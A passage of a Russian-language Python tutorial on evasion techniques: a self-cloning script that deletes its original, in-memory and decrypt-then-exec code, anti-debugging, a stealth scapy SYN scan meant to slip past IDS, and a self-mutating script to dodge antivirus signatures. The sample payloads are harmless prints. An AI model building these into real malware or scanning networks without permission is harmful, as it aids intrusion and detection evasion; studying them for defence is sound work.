    # Π—Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠ»ΠΎΠ½
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)

    print("Клон Π·Π°ΠΏΡƒΡ‰Π΅Π½. ΠžΡ€ΠΈΠ³ΠΈΠ½Π°Π» самоуничтоТаСтся...")
    os.remove(__file__)  # Π£Π΄Π°Π»ΠΈΡ‚ΡŒ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»

if __name__ == '__main__':
    clone_and_run()

βš οΈΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π²ΠΎ врСдоносных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ… (поэтому спСциалистам ΠΏΠΎ ΠΈΠ½Ρ„ΠΎΠ±Π΅Π·Ρƒ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚).

Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти

Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти, Π±Π΅Π· записи Π½Π° диск, позволяСт свСсти ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΡƒ слСды Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС. Π­Ρ‚ΠΎ особСнно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² ситуациях, ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ своС присутствиС Π² систСмС β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎ врСмя пСнтСстинга.

πŸ”§ Как это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚:

  • ΠšΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡ ΠΊΠΎΠ΄Π° ΠΈΠ· строки. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ compile() ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ строку с Python-ΠΊΠΎΠ΄ΠΎΠΌ Π² исполняСмый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠΎΠ΄Π°.
  • Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΠ· памяти. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠΎΠ΄Π° пСрСдаСтся Π² exec(), ΠΈ выполняСтся Π±Π΅Π· записи Π½Π° диск.
  • МоТно ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π° ΠΈΠ· сСтСвых рСсурсов, Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈΠ»ΠΈ Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ….
code_string = """
def greet():
    print('ΠŸΡ€ΠΈΠ²Π΅Ρ‚! Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ выполняСтся прямо ΠΈΠ· памяти.')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

⚠️ ВрСдоносноС ПО примСняСт Ρ‚Π°ΠΊΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для ΠΎΠ±Ρ…ΠΎΠ΄Π° антивирусов.

πŸ‘Ύ Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Ρ…Π°ΠΊΠ΅Ρ€Π°
Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π° нашСм Ρ‚Π΅Π»Π΅Π³Ρ€Π°ΠΌ-ΠΊΠ°Π½Π°Π»Π΅ Β«Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Ρ…Π°ΠΊΠ΅Ρ€Π°Β»

Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ° ΠΊΠΎΠ΄Π° Π²ΠΎ врСмя выполнСния

Π¨ΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ примСняСтся Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌ ΠΏΠΎ сСти Π΄Π°Π½Π½Ρ‹ΠΌ, Π½ΠΎ ΠΈ ΠΊ частям ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ Π²ΠΈΠ΄Π΅ ΠΈ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎ врСмя выполнСния ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ Π»ΠΎΠ³ΠΈΠΊΡƒ ΠΈ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ этот ΠΌΠ΅Ρ‚ΠΎΠ΄:

  • Π¨ΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ cryptography.fernet, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Ρ‚ΡŒ строку с ΠΊΠΎΠ΄ΠΎΠΌ.
  • Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ° ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²ΠΎ врСмя выполнСния. Π’ Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠ΄ ΠΈ запускаСт Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ exec().
from cryptography.fernet import Fernet

# ГСнСрация ΠΊΠ»ΡŽΡ‡Π° (Π² Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… условиях Π΅Π³ΠΎ Π½ΡƒΠΆΠ½ΠΎ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ бСзопасно!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Π‘Π΅ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ
secret_code = "print('Π­Ρ‚ΠΎΡ‚ сСкрСтный ΠΊΠΎΠ΄ Π±Ρ‹Π» Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½!')"

# Π¨ΠΈΡ„Ρ€ΡƒΠ΅ΠΌ строку с ΠΊΠΎΠ΄ΠΎΠΌ
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# Π’ΠΎ врСмя выполнСния: Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅ΠΌ ΠΈ выполняСм
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

ℹ️ ΠŸΡ€ΠΈ лСгальном ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚:

  • Π—Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Π°ΠΆΠ½ΡƒΡŽ бизнСс-Π»ΠΎΠ³ΠΈΠΊΡƒ).
  • Π‘ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ (Π²ΠΎ врСмя Ρ€Π°Π±ΠΎΡ‚Ρ‹ с лицСнзиями ΠΈΠ»ΠΈ ΠΊΠ»ΡŽΡ‡Π°ΠΌΠΈ API).
  • Π£ΡΠ»ΠΎΠΆΠ½ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ для Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠ² ΠΊΠΎΠ΄Π° ΠΈ рСвСрс-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡ€ΠΈΠ½Π³Π°.

πŸ“š ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Cryptography.

Антиотладка

Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ скрипт ΠΎΡ‚ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠ»ΠΈ рСвСрс-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡ€ΠΈΠ½Π³Π°, ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Π°Π½Ρ‚ΠΈΠΎΡ‚Π»Π°Π΄ΠΊΠΈ β€” это ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊΠ° ΠΈ ΡΡ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° это (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΠΎΠ³ΠΈΠΊΡƒ повСдСния скрипта ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅).

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π°Π½Ρ‚ΠΈΠΎΡ‚Π»Π°Π΄ΠΊΠ°:

  • ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° окруТСния. Π‘ΠΊΡ€ΠΈΠΏΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠΈ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ sys.gettrace().
  • ИзмСнСниС повСдСния. Если ΠΎΡ‚Π»Π°Π΄ΠΊΠ° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π°, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ, Π»ΠΈΠ±ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΠΎΠ³ΠΈΠΊΡƒ Ρ€Π°Π±ΠΎΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±ΠΈΡ‚ΡŒ с Ρ‚ΠΎΠ»ΠΊΡƒ Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€.
import sys
import time

def anti_debug():
    # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°: Ссли Π΅ΡΡ‚ΡŒ ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ, gettrace() Π²Π΅Ρ€Π½Π΅Ρ‚ Π½Π΅ None
    if sys.gettrace() is not None:
        print("ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ! Π—Π°Π²Π΅Ρ€ΡˆΠ°Π΅ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ для Π·Π°Ρ‰ΠΈΡ‚Ρ‹.")
        time.sleep(2)
        sys.exit()  # Π’Ρ‹Ρ…ΠΎΠ΄ ΠΈΠ· ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹

if __name__ == '__main__':
    anti_debug()
    print("ΠžΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½. ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅...")

⚠️ Π’Π°ΠΆΠ½ΠΎ:

Π’Π°ΠΊΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ этично ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… условиях, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:

  • Π’ коммСрчСских прилоТСниях для Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΉ.
  • Π’ систСмах, Π³Π΄Π΅ Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²ΠΌΠ΅ΡˆΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΠΎ Π² Π»ΠΎΠ³ΠΈΠΊΡƒ.

Π‘ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅ сканированиС сСти

ΠŸΠ΅Π½Ρ‚Π΅ΡΡ‚Π΅Ρ€Π°ΠΌ часто Π½ΡƒΠΆΠ½ΠΎ ΡΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ΅Ρ‚ΡŒ Π½Π΅Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ систСм обнаруТСния Π²Ρ‚ΠΎΡ€ΠΆΠ΅Π½ΠΈΠΉ. Для этих Ρ†Π΅Π»Π΅ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнный скрытый сканСр Π½Π° Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ·Ρ€Π΅Π½ΠΈΠΉ.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ скрытоС сканированиС:

  • Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Β«Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹Ρ…Β» ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ². Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ scapy ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сСтСвыС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ выглядят ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ Ρ‚Ρ€Π°Ρ„ΠΈΠΊ. НапримСр, SYN-ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ стандартном ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΊ сСрвСру.
  • Блучайная Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ°. Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ случайных ΠΏΠ°ΡƒΠ· ΠΌΠ΅ΠΆΠ΄Ρƒ запросами Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΡ…ΠΎΠΆΠΈΠΌ Π½Π° дСйствия Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ°, Π° Π½Π΅ ΠΌΠ°ΡˆΠΈΠ½Ρ‹. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ автоматичСскиС систСмы обнаруТСния.
from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    # Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ SYN-ΠΏΠ°ΠΊΠ΅Ρ‚ (ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ TCP-соСдинСниС)
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    
    # ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅ΠΌ ΠΏΠ°ΠΊΠ΅Ρ‚ ΠΈ ΠΆΠ΄Ρ‘ΠΌ ΠΎΡ‚Π²Π΅Ρ‚
    response = sr1(packet, timeout=1, verbose=0)
    
    # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ: Ссли Ρ„Π»Π°Π³ ΠΎΡ‚Π²Π΅Ρ‚Π° β€” SYN-ACK (0x12), Π·Π½Π°Ρ‡ΠΈΡ‚ ΠΏΠΎΡ€Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"ΠŸΠΎΡ€Ρ‚ {port} Π½Π° {target_ip} β€” ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚.")
    else:
        print(f"ΠŸΠΎΡ€Ρ‚ {port} Π½Π° {target_ip} β€” Π·Π°ΠΊΡ€Ρ‹Ρ‚ ΠΈΠ»ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΠ΅Ρ‚ΡΡ.")

if __name__ == '__main__':
    target = "192.168.1.1"
    # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ 5 случайных ΠΏΠΎΡ€Ρ‚ΠΎΠ² ΠΎΡ‚ 20 Π΄ΠΎ 1024
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))  # случайная ΠΏΠ°ΡƒΠ·Π° ΠΌΠ΅ΠΆΠ΄Ρƒ сканами

ℹ️ Π‘ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅ сканированиС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для:

  • НСзамСтного тСстирования бСзопасности сСти.
  • ΠžΠ±Ρ…ΠΎΠ΄Π° IDS/IPS-систСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ.
  • Π‘Π±ΠΎΡ€Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π±Π΅Π· риска Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ.

⚠️ Π’Π°ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ сканСры Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π»Π΅Π³Π°Π»ΡŒΠ½Ρ‹Ρ… цСлях, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Ρ€Π°ΠΌΠΊΠ°Ρ… пСнтСстинга с Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π²Π»Π°Π΄Π΅Π»ΡŒΡ†Π° сСти.

🐍 Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° питониста
Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π° нашСм Ρ‚Π΅Π»Π΅Π³Ρ€Π°ΠΌ-ΠΊΠ°Π½Π°Π»Π΅ Β«Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° питониста»

АвтоматичСская мутация

Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ систСмы обнаруТСния, основанныС Π½Π° сигнатурах (антивирусы ΠΈΠ»ΠΈ систСмы ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΊΠΎΠ΄Π°), ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ скрипт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ сСбя ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ запуском. Π­Ρ‚Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΠ° называСтся ΠΌΡƒΡ‚Π°Ρ†ΠΈΠ΅ΠΉ β€” ΠΎΠ½Π° ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ скрипт Π² ΠΏΠΎΠ΄Π²ΠΈΠΆΠ½ΡƒΡŽ Ρ†Π΅Π»ΡŒ, ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ для обнаруТСния ΠΈ Π°Π½Π°Π»ΠΈΠ·Π°.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ мутация:

  • ИзмСнСниС исходного ΠΊΠΎΠ΄Π°. Π‘ΠΊΡ€ΠΈΠΏΡ‚ считываСт свой собствСнный ΠΊΠΎΠ΄, вносит Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ случайныС измСнСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, мСняСт ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…), Π° Π·Π°Ρ‚Π΅ΠΌ сохраняСт сСбя ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.
  • ИзмСнСниС Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ°. Π­Ρ‚ΠΈ Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ измСнСния Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Π»ΠΎΠ³ΠΈΠΊΡƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Π½ΠΎ ΠΌΠ΅Π½ΡΡŽΡ‚ сигнатуру Ρ„Π°ΠΉΠ»Π° (Π΅Π³ΠΎ Β«ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΎΠΊΒ»), Ρ‡Ρ‚ΠΎ затрудняСт Π΅Π³ΠΎ распознаваниС ΠΏΠΎ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ.
import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # Π‘Π»ΡƒΡ‡Π°ΠΉΠ½ΠΎ измСняСм строки с коммСнтариями
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
